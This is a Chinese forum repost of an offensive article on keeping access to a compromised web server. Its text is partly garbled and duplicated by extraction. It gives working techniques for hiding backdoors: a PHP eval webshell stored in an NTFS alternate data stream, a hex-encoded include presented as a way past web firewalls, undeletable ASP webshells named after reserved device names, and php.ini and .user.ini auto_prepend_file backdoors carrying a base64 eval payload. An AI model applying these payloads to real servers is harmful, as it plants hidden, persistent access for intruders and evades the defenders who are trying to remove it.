搜索

[21435] 2020-11-23_脚本权限维持相关的一些总结

文档创建者：s7ckTeam
浏览次数：4
最后更新：2025-01-18
2020-11-23_脚本权限维持相关的一些总结 脚 本 权 限 维 持 相 关 的 一 些 总 结 转 载 ： 先 知 社 区   L e m o n S e c   2 0 2 0 - 1 1 - 2 3 0 x 0 1   说 明 说 明 　 未 知 攻 ， 焉 知 防 ， 在 未 知 攻 ， 焉 知 防 ， 在 w e b 端 如 何 做 手 脚 维 护 自 己 拿 到 的 权 限 呢 ？ 权 限 维 持 ， 为 后 渗 透 阶 段 做 准 备 ， 脚 本 方 面 有 哪 些 有 趣 的 端 如 何 做 手 脚 维 护 自 己 拿 到 的 权 限 呢 ？ 权 限 维 持 ， 为 后 渗 透 阶 段 做 准 备 ， 脚 本 方 面 有 哪 些 有 趣 的 T i p s 呢 呢 ? 结 合 系 统 一 些 特 性 ， 我 们 可 以 更 好 的 隐 蔽 我 们 的 后 门 。 结 合 系 统 一 些 特 性 ， 我 们 可 以 更 好 的 隐 蔽 我 们 的 后 门 。 0 x 0 2   创 建 系 统 隐 藏 文 件 创 建 系 统 隐 藏 文 件 查 看 隐 藏 文 件 查 看 隐 藏 文 件 a t t r i b   + s   + a   + r   + h   /   a t t r i b   + s   + h   文 件 名
0 x 0 3   利 用 利 用 A D S 隐 藏 文 件 隐 藏 文 件 N T F S 交 换 数 据 流 （ A l t e r n a t e 　 D a t a 　 S t r e a m s ， 简 称 A D S ） 是 N T F S 磁 盘 格 式 的 一 个 特 性 ， 在 N T F S 文 件 系 统 下 ， 每 个 文 件 都 可 以 存 在 多 个 数 据 流 。 通 俗 的 理 解 ， 就 是 其 它 文 件 可 以 “ 寄 宿 ” 在 某 个 文 件 身 上 ， 而 在 资 源 管 理 器 中 却 只 能 看 到 宿 主 文 件 ， 找 不 到 寄 宿 文 件 。 利 用 A D S 数 据 流 ， 我 们 可 以 做 很 多 有 趣 的 事 情 。 首 先 创 建 A D S 隐 藏 文 件 在 命 令 行 ， e c h o 一 个 数 据 流 进 去 ， 比 如 i n d e x 文 件 是 正 常 文 件 。 这 样 就 生 成 了 一 个 不 可 见 的   可 用     命 令 来 查 看 e c h o   ^ < ? p h p   @ e v a l ( $ _ R E Q U E S T [ 1 ] ) ; ? ^ >   >   i n d e x . p h p : s h e l l . j p g i n d e x . p h p : s h e l l . j p g d i r   / r
修 改 与 删 除 A D S 隐 藏 文 件 修 改 进 入 文 件 所 在 目 录 :   删 除 呢 ？ 直 接 删 除 。 如 果 你 对 N T F S 文 件 宿 主 寄 生 虫 感 兴 趣 可 以 参 考 k e y 表 哥 的 这 篇 文 章 。 文 件 包 含 我 们 生 成 了 n o t e p a d   i n d e x . p h p : s h e l l . j p g i n d e x . p h p : s h e l l . j p g i n d e x . p h p 文 件 寄 生 — — N T F S 文 件 流 实 际 应 用 h t t p s : / / w w w . f r e e b u f . c o m / c o l u m n / 1 4 3 1 0 1 . h t m l i n d e x . p h p : s h e l l . j p g
， 可 以 通 过 包 含 文 件 的 方 式 来 使 用 。 还 可 以 用 上 面 学 的 隐 藏 免 杀 ， 但 是 躲 不 过 w a f 扫 描 。 p a c k ( ) 函 数 函 数 该 函 数 用 来 将 对 应 的 参 数 打 包 成 二 进 制 字 符 串 。 < ? p h p   i n c l u d e ( ' i n d e x . p h p : s h e l l . j p g ' ) ; ? > i n c l u d e . p h p
根 据 这 个 特 性 我 们 把     h e x 编 码 来 绕 过 w a f 。 i n d e x . p h p : s h e l l . j p g < ? p h p   $ a = " 6 9 6 E 6 4 6 5 7 8 2 E 7 0 6 8 7 0 3 A 7 3 6 8 6 5 6 C 6 C 2 E 6 A 7 0 6 7 " ;   / /   i n d e x . p h p : s h e l l . j p g   h e x 编 码 $ b = " a " ; i n c l u d e ( P A C K ( ' H * ' , $ $ b ) ) ;
0 x 0 4   a s p 不 死 僵 尸 不 死 僵 尸 主 要 是 利 用 系 统 保 留 文 件 名 创 建 无 法 删 除 的 w e b s h e l l 来 隐 藏 后 门 。 W i n d o w s   下 不 能 够 以 下 面 这 些 字 样 来 命 名 文 件 或 文 件 夹 ： 生 成 这 类 文 件 无 法 在 图 形 界 面 删 除 ， 只 能 在 命 令 行 下 删 除 ： 0 x 0 5   查 看 是 否 开 启 环 境 变 量 查 看 是 否 开 启 环 境 变 量   i n c l u d e _ p a t h 在 C 盘 ， 创 建   C : p h p p e a r 目 录 ， 把 木 马 文 件 丢 上 去 。 再 包 含 下 就 O K 了 ， 大 多 数 w a f 并 不 会 扫 描 这 个 路 径 ， 很 容 易 被 人 忽 略 。 a u x | p r n | c o n | n u l | c o m 1 | c o m 2 | c o m 3 | c o m 4 | c o m 5 | c o m 6 | c o m 7 | c o m 8 | c o m 9 | l p t 1 | l p t 2 | l p t 3 | l p t 4 | l p t 5 | l p t 6 | l p t 7 | l p t 8 | l p t 9 c o p y   r o o t k i t . a s p   . D : w w w r o o t a u x . t e s t . a s p d e l   . D : w w w r o o t a u x . t e s t . a s p p h p i n f o
0 x 0 6   p h p . i n i 后 门 后 门 将 后 门 写 入 p h p . i n i 完 成 后 需 要 重 新 加 载 重 新 加 载 P H P . i n i 使 用 死 循 环 任 意 P H P 页 面 都 可 以 用 菜 刀 连 接 。 a l l o w _ u r l _ i n c l u d e = O n a u t o _ p r e p e n d _ f i l e = " d a t a : ; b a s e 6 4 , P D 9 w a H A g Q G V 2 Y W w o J F 9 S R V F V R V N U W 2 N t Z F 0 p O z 8 + "                                                         / /   b a s e 6 4   < ? p h p   @ e v a l ( $ _ R E Q U E S T [ c m d ] ) ; ? > 　 　 　 　 　 　 　 　 　                         / /   后 门 类 型 可 自 己 修 改 。 < ? p h p   w h i l e ( t r u e ) { }   ? >
也 可 以 直 接 使 用 . u s e r . i n i   简 单 来 说 ， 它 和   p h p . i n i   功 能 一 样 ， 但 是 是 高 度 自 定 义 ， 程 序 执 行 时 会 先 寻 找 当 前 目 录 下 是 否 存 在   . u s e r . i n i   文 件 ， 如 果 没 有 会 继 续 向 根 目 录 寻 找 ， 直 到 配 置 目 录 下 的   p h p . i n i 。 0 x 0 7   p h p   b a c k d o o r 也 叫 做 P H P 扩 展 后 门 ， 隐 蔽 性 比 w e b s h e l l 强 度 了 。 我 们 使 用 的 是 M i c r o p o o r 大 牛 的 p h p   b a c k d o o r a u t o _ p r e p e n d _ f i l e   =   1 . t x t u s e r _ i n i . c a c h e _ t t l   =   1 0     / / 设 置 加 载 时 间 为 1 0 s   不 需 要 重 启 a p a c h e 时 间 一 到 自 动 加 载 。 H o w   t o   i n s t a l l ?

0 x 0 8   参 考 参 考 为 方 便 技 术 交 流 、 接 收 粉 丝 建 议 ， 贴 出 了 运 营 小 哥 哥 的 微 信 ， 可 扫 码 加 依 旧 是 限 时 加 ， 晚 5 点 后 会 暂 时 关 闭 二 维 码 加 好 友 欢 迎 各 位 大 佬 加 好 友 一 如 既 往 的 学 习 ， 一 如 既 往 的 整 理 ， 一 如 即 往 的 分 享 。 感 谢 支 持 “ 如 侵 权 请 私 聊 公 众 号 删 文 ” 2 0 2 0 h w 系 列 文 章 整 理 c t f 系 列 文 章 整 理 日 志 安 全 系 列 - 安 全 日 志 【 干 货 】 流 量 分 析 系 列 文 章 整 理 【 干 货 】 超 全 的   渗 透 测 试 系 列 文 章 整 理 【 干 货 】 持 续 性 更 新 - 内 网 渗 透 测 试 系 列 文 章 【 干 货 】 a n d r o i d 安 全 系 列 文 章 整 理 扫 描 关 注 扫 描 关 注 L e m o n S e c h t t p s : / / w w w . c n b l o g s . c o m / x i a o z i / p / 7 6 1 0 9 8 4 . h t m l h t t p s : / / p a p e r . t u i s e c . w i n / d e t a i l / e 7 e 0 e 7 5 2 a 0 8 c 0 9 c h t t p s : / / w w w . t 0 0 l s . n e t / v i e w t h r e a d . p h p ? t i d = 3 8 9 0 6 & h i g h l i g h t = p h p . i n i h t t p s : / / w w w . t 0 0 l s . n e t / v i e w t h r e a d . p h p ? t i d = 3 5 0 5 3 & h i g h l i g h t = p h p % 2 B % E 5 % 9 0 % 8 E % E 9 % 9 7 % A 8 h t t p s : / / w w w . t 0 0 l s . n e t / v i e w t h r e a d . p h p ? t i d = 4 4 9 1 1 & h i g h l i g h t = p h p % 2 B % E 5 % 9 0 % 8 E % E 9 % 9 7 % A 8
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理